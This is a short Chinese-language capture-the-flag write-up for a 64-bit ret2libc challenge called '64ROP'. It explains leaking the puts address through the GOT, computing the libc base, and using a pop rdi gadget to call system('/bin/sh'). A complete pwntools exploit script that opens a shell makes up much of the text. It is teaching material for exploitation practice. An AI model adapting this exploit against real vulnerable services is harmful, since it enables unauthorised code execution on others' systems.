64ROP来自一次小比赛题目
这是一道给出libc库的64位简单ret2libc的题目。以前都是没有给出libc库的题目。用LibcSearcher这个工具来做。用已知的libc来做还不是很熟练。下面我们看一下题目,就当将一个例题了。

先检查了一下保护机制,只开了一个NX常规题目。

题目给了一个libc库。我们的思路是,同泄露某个函数地址,计算机偏移来找到system函数的位置,查找"/bin/sh"位置。来执行system('/bin/sh")函数。64位程序函数传参需要寄存器。我们用ROPgadget --binary 文件名 --only "pop|ret" 找到 pop rdi ret这个gadget片段的位置。
from pwn import *
context.log_level = 'debug'
p = process("./64ROP")
elf=ELF("64ROP")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("*\n")
rdi_ret=0x00000000004007a3
main=0x000000000400708
payload = "a"*(12)+p64(rdi_ret)+p64(elf.got["puts"])+p64(elf.plt['puts'])+p64(main)
p.sendline(payload)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['puts']
payload = 'a'*12
payload += p64(rdi_ret) + p64(libc.search("/bin/sh\x00").next()) + p64(libc.sym['system'])
p.sendline(payload)
p.interactive()
############
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
者地方需要用 ldd 文件名来找到


浙公网安备 33010602011771号